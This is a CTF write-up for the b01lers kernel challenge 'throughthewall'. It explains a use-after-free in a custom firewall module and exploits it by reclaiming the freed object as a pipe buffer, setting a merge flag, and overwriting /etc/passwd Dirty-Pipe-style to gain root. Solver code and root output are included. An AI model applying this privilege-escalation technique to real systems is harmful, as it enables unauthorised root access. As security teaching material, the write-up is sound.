Writeup
b01lers CTF — throughthewall Writeup
throughthewall — Writeup
This writeup details the solution for the throughthewall kernel pwn challenge from b01lers CTF. The challenge provides a custom Linux kernel module exposed through /dev/firewall. The bug is a use-after-free in the module’s rule table, and the exploit path is to reclaim the freed object with pipe buffer metadata and abuse a Dirty-Pipe-style merge flag overwrite to rewrite /etc/passwd.
Exploit script: throughthewall.c
Summary
The target is a remote kernel challenge accessible with:
ncat --ssl throughthewall.opus4-7.b01le.rs 8443The archive contains:
bzImageinitramfs.cpio.gzstart.sh
The initramfs loads a single custom module, firewall.ko, and exposes it as a world-writable misc device:
insmod /home/ctf/firewall.kochmod 666 /dev/firewallThe goal is to become root and read /flag.txt.
Key Code Snippets
The important logic lives in the module loaded from home/ctf/firewall.ko.
/init (boot flow):
mount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /dev
if insmod /home/ctf/firewall.ko; then chmod 666 /dev/firewallfi
echo "bctf{fake_flag}" > /flag.txtchmod 400 /flag.txt
while true; do /bin/drop_privdoneReconstructed module interface:
#define FW_ADD 0x41004601#define FW_DEL 0x40044602#define FW_EDIT 0x44184603#define FW_SHOW 0x84184604
static void *rules[0x100];Relevant bug pattern inside the module:
case FW_DEL: if (idx > 0xff) return -EINVAL; if (!rules[idx]) return -ENOENT;
kfree(rules[idx]); printk("deleted rule %d\n", idx); return 0;The pointer is freed but not cleared. Later handlers still trust it:
case FW_EDIT: ptr = rules[idx]; memcpy(ptr + off, user_buf, len);
case FW_SHOW: ptr = rules[idx]; copy_to_user(user_buf, ptr + off, len);Analysis
The module manages up to 0x100 firewall rules, each allocated as a 0x400 byte object.
From reversing:
FW_ADDallocates a fresh0x400byte rule object and stores it inrules[idx].FW_DELfrees the object.FW_EDITwrites arbitrary bytes into the chosen rule at a controlled offset.FW_SHOWreads arbitrary bytes back from the chosen rule at a controlled offset.
The bug is that FW_DEL does:
kfree(rules[idx]);but does not do:
rules[idx] = NULL;So after freeing, the stale pointer remains reachable through both FW_EDIT and FW_SHOW.
That gives us:
- a use-after-free read primitive
- a use-after-free write primitive
The freed size is exactly 0x400, so the natural strategy is:
- free a rule
- reclaim the freed chunk with another kernel object from the same size class
- use
FW_SHOWandFW_EDITagainst the reclaimed object
Exploitation and Flag Recovery
We do not need kernel ROP, a KASLR bypass, or an arbitrary function call. The UAF plus pipe metadata is already enough.
1. Reclaiming the Freed Rule
My first probe locally was:
- allocate one firewall rule
- delete it
- create a pipe
- use
FW_SHOWon the stale slot
The leaked contents matched a pipe_buffer:
- a kernel-like
struct page * offset = 4len = 1- a nonzero
opspointer flags = 0
So the freed 0x400 rule object can be reclaimed as a pipe buffer array.
2. Pipe Buffer Layout
For Linux 5.15 x86_64, the first struct pipe_buffer is effectively:
struct pipe_buffer { struct page *page; // 0x00 unsigned int offset; // 0x08 unsigned int len; // 0x0c const struct pipe_buf_operations *ops; // 0x10 unsigned int flags; // 0x18 unsigned long private; // 0x20};The field we care about is:
flags // offset 0x18If we set PIPE_BUF_FLAG_CAN_MERGE, future writes into that pipe can merge directly into the referenced page cache page.
3. Dirty Pipe Style Overwrite
The classic sequence is:
- create a pipe
- splice data from a read-only file into it
- corrupt the pipe buffer flags to include
PIPE_BUF_FLAG_CAN_MERGE - write attacker-controlled bytes into the pipe
That gives a write into the file’s page cache without opening the file writable.
Here the target file is /etc/passwd.
I splice a single byte from /etc/passwd at offset 4, which is immediately after the string root in:
root:x:0:0:...Then I write:
:0:0:root:/root:/bin/shctf:x:1000:1000::/home/ctf:/bin/shAfter the overwrite, the root entry has an empty password field, so local su root works and we can read the flag.
4. Solver Script
The readable exploit version is:
fw = open("/dev/firewall", O_RDWR);idx = ioctl(fw, FW_ADD, "1.1.1.1 2.2.2.2 80 0 uaf");ioctl(fw, FW_DEL, idx);
pipe(pfd);pass = open("/etc/passwd", O_RDONLY);off = 4;splice(pass, &off, pfd[1], NULL, 1, 0);
req.idx = idx;req.off = 24;req.len = 4;*(u32 *)req.data = 0x10; // PIPE_BUF_FLAG_CAN_MERGEioctl(fw, FW_EDIT, &req);
write(pfd[1], payload, sizeof(payload) - 1);execl("/bin/su", "su", "root", "-c", "id; cat /flag.txt", NULL);I also built a tiny syscall-only static binary for the remote target to make uploading easier.
5. Local Run
Running the exploit locally against the provided QEMU image gave:
uid=0(root) gid=0(root) groups=0(root)bctf{fake_flag}That confirmed:
- the UAF is real
- the reclaim is stable
- the pipe flag overwrite works
- the
/etc/passwdcorruption path is enough for root
6. Remote Run
The remote service had a proof-of-work first. After solving the PoW, uploading the tiny exploit, and running it, the output was:
uid=0(root) gid=0(root) groups=0(root)bctf{spray_those_dirty_pipes}